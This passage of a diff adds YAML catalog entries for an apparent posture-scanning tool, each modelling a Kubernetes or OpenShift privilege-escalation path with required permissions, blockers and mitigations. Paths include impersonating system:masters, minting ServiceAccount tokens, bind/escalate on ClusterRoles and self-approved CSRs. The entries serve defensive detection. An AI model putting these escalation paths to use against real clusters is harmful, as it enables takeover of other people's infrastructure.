+ - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_unlabeled_existing_namespace: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + - id: admission_protects_run_level_label + description: A Gatekeeper/VAP policy rejecting the reserved label removes the edge. + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Prevent untrusted subjects from modifying namespaces and reject the openshift.io/run-level label via admission. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Namespaces that already carry the label are reached with workload creation alone through k8s-openshift-privileged-default-projects. + +- id: k8s-openshift-run-level-label-new-namespace + provider: k8s + service: openshift + title: Create a namespace with the openshift.io/run-level label and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#namespace-label + source_revision: a66f094ede + summary: The source can obtain the privileges of nodes by creating a namespace where SCCs are not applied and creating host-privileged pods in it. + requires: + all_of: + - {verb: create, resource: namespaces, namespace: "*"} + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + - id: admission_protects_run_level_label + description: A Gatekeeper/VAP policy rejecting the reserved label removes the edge. + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Restrict namespace creation (users normally create projects through projectrequests, which do not set this label). + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Requires create on namespaces (not projectrequests) and pods create effective in the new namespace (cluster-wide grant). + +- id: k8s-openshift-scc-users-missing-serviceaccount + provider: k8s + service: openshift + title: Create a missing ServiceAccount named in an SCC users list + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the SCC privileges granted to a non-existent ServiceAccount named in an SCC's users list by creating that ServiceAccount and running pods as it. + requires: + all_of: + - {verb: create, resource: serviceaccounts, namespace: "{target.namespace}"} + - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_missing_in_host_scc_users: true + scope: cluster + aggregate_as: "ServiceAccounts named in SCC users of {cluster}" + conditions: + - id: scc_grant_is_host_level + description: The named SCC must allow privileged or host access, and the named ServiceAccount must be absent from an existing namespace; these facts are checked from the inventories. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Remove SCC users entries whose ServiceAccount no longer exists. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The selector accepts only missing ServiceAccounts named in host-access SCC users[] entries within an existing namespace. If the namespace is missing too, see k8s-rbac-serviceaccount-in-absent-namespace. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml new file mode 100644 index 0000000000..2df1097c90 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml @@ -0,0 +1,1063 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes RBAC-plane privilege-escalation techniques (secrets, tokens, impersonation, +# bind/escalate, CSR). Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. +# +# Conventions used across catalog/k8s/*.yaml (see SCHEMA EXTENSIONS in the agent report): +# namespace: "{target.namespace}" -> the effective grant (RoleBinding in that namespace, or a +# ClusterRoleBinding) must cover the namespace of the target. +# namespace: "{pivot.namespace}" -> one namespace P in which EVERY requirement using +# {pivot.namespace} holds at the same time; blockers and selectors +# that mention the pivot are evaluated against P. +# namespace: "*" -> cluster-wide grant (ClusterRoleBinding) or cluster-scoped resource. +# resource_name: -> the rule must cover that object name (no resourceNames, or the +# name is listed). {target.name} = name of the target object. +# api_group omitted -> core group "". +# source_kind (top level) -> the source is an identity of that kind rather than any RBAC +# subject holding the listed permissions (requires may be empty). + +- id: k8s-rbac-secrets-read-legacy-sa-token + provider: k8s + service: rbac + title: Read Secrets containing legacy ServiceAccount tokens + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#verified-legacy-serviceaccount-token-secret + source_revision: c3052fe8de + summary: The source can obtain the privileges of ServiceAccounts in the namespace that have a kubernetes.io/service-account-token Secret. + requires: + all_of: [] + any_of: + - - verb: get + resource: secrets + namespace: "{target.namespace}" + - - verb: list + resource: secrets + namespace: "{target.namespace}" + - - verb: watch + resource: secrets + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_has_legacy_token_secret: true + k8s_challenge_fact: k8s-rbac-secrets-read-legacy-sa-token + scope: same_namespace + aggregate_as: "ServiceAccounts with legacy token Secrets in {target.namespace}" + conditions: + - id: legacy_sa_token_secret_exists + description: A reviewed evidence record must bind the exact Secret UID and version to this ServiceAccount and prove that its token was accepted by the API server; metadata alone does not prove a usable token. + - id: get_requires_secret_name + description: The exact get, list or watch action must be authorized for the named Secret and a read of that Secret must have succeeded. + blockers: [] + confidence: conditional + severity: critical + mitigation: Remove get/list/watch on secrets from non-admin subjects, delete legacy service-account-token Secrets and rely on bound projected tokens. + references: + - https://kubernetes.io/docs/concepts/security/service-accounts/ + - https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#legacy-serviceaccount-token-cleaner + notes: The typed k8s_privesc_challenge_evidence proof must freshly attest the exact source, target ServiceAccount, Secret UID/version, accepted audience and subject, usable token, successful Secret read, and at least one effective permission previously denied to the source. Secret values are never stored. Reading other Secret types (cloud keys, kubeconfigs) can also yield identities, but those targets are not derivable from inventory and are excluded. + +- id: k8s-rbac-secrets-create-sa-token-secret + provider: k8s + service: rbac + title: Create a ServiceAccount token Secret and read it back + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#creating-and-reading-secrets + source_revision: 683485eae7 + summary: The source can obtain the privileges of any ServiceAccount in the namespace by having the token controller populate a token Secret it can read. + requires: + all_of: + - verb: create + resource: secrets + namespace: "{target.namespace}" + any_of: + - - verb: get + resource: secrets + namespace: "{target.namespace}" + - - verb: list + resource: secrets + namespace: "{target.namespace}" + - - verb: watch + resource: secrets + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_challenge_fact: k8s-rbac-secrets-create-sa-token-secret + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_blocks_sa_token_secret + description: A reviewed proof must verify that creation was admitted, the token controller populated the exact Secret, and the API server accepted its token as the named ServiceAccount; admission rejection or an inert Secret removes the edge. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not combine create and read on secrets for non-admin subjects; deny creation of kubernetes.io/service-account-token Secrets via admission policy. + references: + - https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#manually-create-an-api-token-for-a-serviceaccount + notes: The typed k8s_privesc_challenge_evidence record must bind the source, target ServiceAccount, exact Secret UID/version, successful create and read, accepted token subject/audience, and at least one effective permission previously denied to the source. A get rule limited to resourceNames works only if it includes the chosen name; Secret metadata alone never creates this path. + +- id: k8s-rbac-serviceaccounts-token-create + provider: k8s + service: rbac + title: Mint tokens with the TokenRequest API + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#create-serviceaccounts-token + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts on which it can create serviceaccounts/token. + requires: + all_of: + - verb: create + resource: serviceaccounts + subresource: token + namespace: "{target.namespace}" + resource_name: "{target.name}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: serviceaccounts/token:create + scope: same_namespace + aggregate_as: "ServiceAccounts tokenable in {target.namespace}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Grant create on serviceaccounts/token only to the kubelet/system components that need it, scoped with resourceNames. + references: + - https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/ + notes: resourceNames on serviceaccounts/token restrict which ServiceAccounts can be targeted (the request names the existing ServiceAccount). Nodes get this implicitly for pods bound to them; that case is modelled in nodes.yaml. + +- id: k8s-rbac-impersonate-serviceaccounts + provider: k8s + service: rbac + title: Impersonate ServiceAccounts + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts it may impersonate. + requires: + all_of: + - verb: impersonate + resource: serviceaccounts + namespace: "{target.namespace}" + resource_name: "{target.name}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: serviceaccounts:impersonate + scope: same_namespace + aggregate_as: "Impersonable ServiceAccounts in {target.namespace}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on serviceaccounts from non-admin subjects or restrict it with resourceNames to low-privilege accounts. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Per Kubernetes docs, impersonating a username of the form system:serviceaccount:: is authorized against the serviceaccounts resource in that namespace, not against users. The impersonated SA username also receives the system:serviceaccounts groups only if the source additionally impersonates them; RBAC bindings to the SA subject apply either way. + +- id: k8s-rbac-impersonate-users + provider: k8s + service: rbac + title: Impersonate users + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the users it may impersonate. + requires: + all_of: + - verb: impersonate + resource: users + namespace: "*" + resource_name: "{target.name}" + target: + kind: k8s_user + selector: + resource_permission_covers_target: users:impersonate + scope: cluster + aggregate_as: "Impersonable users in {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on users from non-admin subjects or restrict it with resourceNames. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Users are not API objects; the reachable set is the user names that appear as subjects in RoleBindings/ClusterRoleBindings (only those carry privileges). Usernames of the form system:serviceaccount:* are covered by k8s-rbac-impersonate-serviceaccounts, and system:node:* by k8s-rbac-impersonate-node. + +- id: k8s-rbac-impersonate-groups + provider: k8s + service: rbac + title: Impersonate groups (with user impersonation) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the groups it may impersonate. + requires: + all_of: + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "{target.name}" + - verb: impersonate + resource: users + namespace: "*" + target: + kind: k8s_group + selector: + resource_permission_covers_target: groups:impersonate + exclude_names: ["system:masters"] + scope: cluster + aggregate_as: "Impersonable groups in {cluster}" + conditions: + - id: user_impersonation_name_restricted + description: Group impersonation requires impersonating some user in the same request; a users resourceNames restriction only limits which user name is sent, any covered name suffices. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on groups from non-admin subjects; never allow impersonation of system:masters or groups bound to admin roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Verified in Kubernetes docs that Impersonate-Group requires Impersonate-User. Without impersonate on users this entry does not apply. system:masters is handled by k8s-rbac-impersonate-system-masters. + +- id: k8s-rbac-impersonate-system-masters + provider: k8s + service: rbac + title: Impersonate the system:masters group + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin through the system:masters group, which bypasses RBAC. + requires: + all_of: + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "system:masters" + - verb: impersonate + resource: users + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Never grant impersonate on groups without resourceNames; explicitly exclude system:masters. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles + notes: Members of system:masters are authorized unconditionally by the API server before RBAC. + +- id: k8s-rbac-impersonate-node + provider: k8s + service: rbac + title: Impersonate a node identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 2415fadfbd + summary: The source can obtain the privileges of a node (system:node: in group system:nodes). + requires: + all_of: + - verb: impersonate + resource: users + namespace: "*" + resource_name: "system:node:{target.name}" + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "system:nodes" + target: + kind: k8s_node + selector: + resource_permission_covers_target: users:impersonate + scope: cluster + aggregate_as: "Impersonable nodes in {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: high + mitigation: Restrict impersonate on users and groups with resourceNames that exclude system:node:* and system:nodes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + notes: The Node authorizer requires both the system:node: username and the system:nodes group. Node identity then reaches the ServiceAccounts of pods on that node (see nodes.yaml). + +- id: k8s-rbac-constrained-impersonation-user + provider: k8s + service: rbac + title: Constrained impersonation of a user (user-info mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: The source can obtain a subset of the privileges of the users it may impersonate in user-info mode. + requires: + all_of: + - verb_prefix: "impersonate-on:user-info:" + resource_match: any + namespace: "*" + any_of: + - - verb: "impersonate:user-info" + resource: users + api_group: authentication.k8s.io + namespace: "*" + resource_name: "{target.name}" + target: + kind: k8s_user + selector: + resource_permission_covers_target: "users:impersonate:user-info" + k8s_constrained_impersonation_gain: user-info + scope: cluster + aggregate_as: "Users impersonable in constrained mode in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must overlap a collected permission of the named user that the source does not already hold. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant impersonate: and impersonate-on:: only as narrow, resourceName-scoped pairs for the exact delegated operation. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: The identity rule uses authentication.k8s.io, as in the upstream documentation and HackTricks Kubernetes 1.37 reproduction. The action half names the concrete verb and resource that may be used while impersonating; the source can gain only actions also held by the target. + +- id: k8s-rbac-constrained-impersonation-serviceaccount + provider: k8s + service: rbac + title: Constrained impersonation of a ServiceAccount + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: The source can obtain a subset of the privileges of the ServiceAccounts it may impersonate in serviceaccount mode. + requires: + all_of: + - verb: "impersonate:serviceaccount" + resource: serviceaccounts + api_group: authentication.k8s.io + namespace: "{target.namespace}" + resource_name: "{target.name}" + - verb_prefix: "impersonate-on:serviceaccount:" + resource_match: any + namespace: "*" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: "serviceaccounts:impersonate:serviceaccount" + k8s_constrained_impersonation_gain: serviceaccount + scope: same_namespace + aggregate_as: "ServiceAccounts impersonable in constrained mode in {target.namespace}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must overlap a collected permission of the named ServiceAccount that the source does not already hold. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant constrained impersonation only as narrow, resourceName-scoped identity/action pairs. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Official docs place the identity permission in authentication.k8s.io and scope it to the named ServiceAccount. The action half can use only the named verb and resource also allowed to that ServiceAccount. + +- id: k8s-rbac-constrained-impersonation-node + provider: k8s + service: rbac + title: Constrained impersonation of nodes (arbitrary-node mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: The source can obtain a subset of the privileges of any node it may impersonate in arbitrary-node mode. + requires: + all_of: + - verb: "impersonate:arbitrary-node" + resource: nodes + api_group: authentication.k8s.io + namespace: "*" + resource_name: "{target.name}" + - verb_prefix: "impersonate-on:arbitrary-node:" + resource_match: any + namespace: "*" + target: + kind: k8s_node + selector: + resource_permission_covers_target: "nodes:impersonate:arbitrary-node" + k8s_constrained_impersonation_gain: arbitrary-node + scope: cluster + aggregate_as: "Nodes impersonable in constrained mode in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must cover get on a pod assigned to the named node or a token request for that pod's ServiceAccount, and the source must lack that direct action. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant node impersonation modes outside node-agent ServiceAccounts, and scope the impersonate-on verbs tightly. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: The official node-mode example grants the identity verb on nodes.authentication.k8s.io and limits it to the exact node name. Associated-node mode is modelled separately. + +- id: k8s-rbac-constrained-impersonation-associated-node + provider: k8s + service: rbac + title: Constrained impersonation of the node running the source's pod (associated-node mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 2415fadfbd + summary: A ServiceAccount granted associated-node impersonation can obtain a subset of the privileges of the node that runs its own pod. + requires: + all_of: + - verb: "impersonate:associated-node" + resource: nodes + api_group: authentication.k8s.io + namespace: "*" + - verb_prefix: "impersonate-on:associated-node:" + resource_match: any + namespace: "*" + target: + kind: k8s_node + selector: + k8s_node_hosting_pod_of_source: true + k8s_constrained_impersonation_gain: associated-node + scope: cluster + aggregate_as: "Node hosting the source's pod in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: The source's impersonate-on action must cover get on a pod assigned to its node or a token request for that pod's ServiceAccount, and the source must lack that direct action. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant node impersonation modes outside node-agent ServiceAccounts, and scope the impersonate-on verbs tightly. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: associated-node mode only reaches the node bound into the source ServiceAccount's pod token; k8s_node_hosting_pod_of_source narrows the target to nodes hosting a collected pod that runs as the source ServiceAccount (no target without pod inventory). + +- id: k8s-rbac-bind-clusterrolebinding-cluster-admin + provider: k8s + service: rbac + title: Bind cluster-admin through a ClusterRoleBinding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin by binding an admin-equivalent ClusterRole to itself cluster-wide. + requires: + all_of: + - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{admin_equivalent_clusterrole}" + - verb: create + resource: clusterrolebindings + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: bindable_role_admin_equivalent + description: The collected ClusterRole covered by bind must grant every verb on every resource across all API groups. Binding a weaker ClusterRole only grants that role. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not grant bind on clusterroles (especially without resourceNames) together with clusterrolebinding writes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: "{admin_equivalent_clusterrole} = any collected ClusterRole whose rules grant all verbs on all resource types in all API groups. Existing-binding patch/update paths are reported by the exact-binding permission-gain entry; resourceNames on create cannot restrict the new binding's name. Without bind, binding writes are limited to roles whose permissions the caller already holds (excluded)." + +- id: k8s-rbac-bind-rolebinding-namespace + provider: k8s + service: rbac + title: Bind cluster-admin into a namespace through a RoleBinding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bind + source_revision: 2415fadfbd + summary: The source can bind the exact cluster-admin ClusterRole to itself in a namespace, gaining its workload and token permissions there and reaching that namespace's ServiceAccounts. + requires: + all_of: + - verb: bind + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: cluster-admin + - verb: create + resource: rolebindings + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_cluster_admin_role_exists: true + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: cluster_admin_role_exists + description: The collected cluster-admin ClusterRole must retain wildcard workload and token permissions that cover the target namespace. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict bind with resourceNames to low-privilege roles and avoid granting rolebinding writes to tenants. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update + notes: A RoleBinding grants cluster-admin rules only inside its namespace. This entry requires create; separate entries join other Roles and existing bindings to their exact permissions. + +- id: k8s-rbac-escalate-bound-clusterrole + provider: k8s + service: rbac + title: Escalate a ClusterRole already bound to the source + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin by adding arbitrary rules to a ClusterRole bound to it cluster-wide. + requires: + all_of: + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + any_of: + - - verb: update + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + - - verb: patch + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + resource_name: "{source_bound_clusterrole}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: escalated_role_bound_cluster_wide + description: The editable ClusterRole must be bound to the source (or a group it belongs to) by a ClusterRoleBinding; if only bound by RoleBindings the gain is limited to those namespaces. + - id: aggregated_clusterrole_overwritten + description: Rules added to an aggregated ClusterRole (aggregationRule) are overwritten by the controller. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not grant escalate on roles/clusterroles to non-admin subjects. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: "{source_bound_clusterrole} = a ClusterRole referenced by a ClusterRoleBinding whose subjects include the source (a RoleBinding to a ClusterRole only confines it to one namespace and does not yield cluster-admin). escalate + create roles alone is not enough: binding the new role still needs bind or already-held permissions." + +- id: k8s-rbac-escalate-aggregating-clusterrole + provider: k8s + service: rbac + title: Create an aggregating ClusterRole that feeds a ClusterRole already bound to the source + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#bindings-and-aggregated-clusterroles + source_revision: 2415fadfbd + summary: The source can obtain the privileges of cluster-admin by creating a ClusterRole with arbitrary rules and an aggregate-to- label so the aggregation controller copies them into an aggregated ClusterRole already bound to it cluster-wide. + source_selector: + source_bound_to_aggregated_clusterrole: cluster + requires: + all_of: + - verb: create + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + - verb: escalate + resource: clusterroles + api_group: rbac.authorization.k8s.io + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + k8s_aggregation_new_role_path: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: source_bound_to_aggregated_clusterrole + description: The source_selector checks that the source is bound to a ClusterRole with an aggregationRule (view, edit, admin or a custom one); the new role's labels must satisfy that role's clusterRoleSelectors. + blockers: [] + confidence: conditional + severity: critical + mitigation: Do not grant escalate on clusterroles; alert on new ClusterRoles carrying rbac.authorization.k8s.io/aggregate-to-* labels. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: HackTricks (171e422) documents aggregation into an already-bound ClusterRole (lab adds patch on one ConfigMap to view) and states the caller still needs the proposed rules or escalate. Without escalate the source can only aggregate rules it already holds, which is not an escalation. + +- id: k8s-rbac-escalate-bound-role-namespace + provider: k8s + service: rbac + title: Escalate a Role already bound to the source in a namespace + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#escalate + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the ServiceAccounts in the namespace by adding workload or token rules to a Role bound to it there. + requires: + all_of: + - verb: escalate + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + any_of: + - - verb: update + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + - - verb: patch + resource: roles + api_group: rbac.authorization.k8s.io + namespace: "{target.namespace}" + resource_name: "{source_bound_role}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: escalated_role_bound_to_source + description: The editable Role must be bound to the source by a RoleBinding in the same namespace. + blockers: [] + confidence: derived + severity: high + mitigation: Do not grant escalate on roles to tenants. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-creation-or-update + notes: "{source_bound_role} = a Role in the namespace referenced by a RoleBinding whose subjects include the source." + +- id: k8s-rbac-csr-kube-apiserver-client-user + provider: k8s + service: certificates + title: Issue and approve a client certificate for an existing username + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 2415fadfbd + summary: The source can obtain the privileges of any user (or ServiceAccount username) that has RBAC bindings by self-approving a kube-apiserver-client certificate for it. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_user + selector: + any_principal_in_scope: true + k8s_csr_same_name_path: true + scope: cluster + aggregate_as: "Users bound in RBAC in {cluster}" + conditions: + - id: kube_apiserver_client_signer_enabled + description: The controller-manager must be signing kubernetes.io/kube-apiserver-client (cluster-signing key configured; some managed offerings disable or restrict it). + - id: client_cert_auth_honored + description: The API server must accept client certificates from the cluster CA (some managed clusters ignore or restrict them). + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict approve on signers and certificatesigningrequests/approval to cluster administrators; never combine them with CSR create for other subjects. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: HackTricks reproduced on v1.37 that this signer refused a CSR requesting system:masters, so cluster-admin through that group is NOT claimed. ServiceAccount usernames are covered by 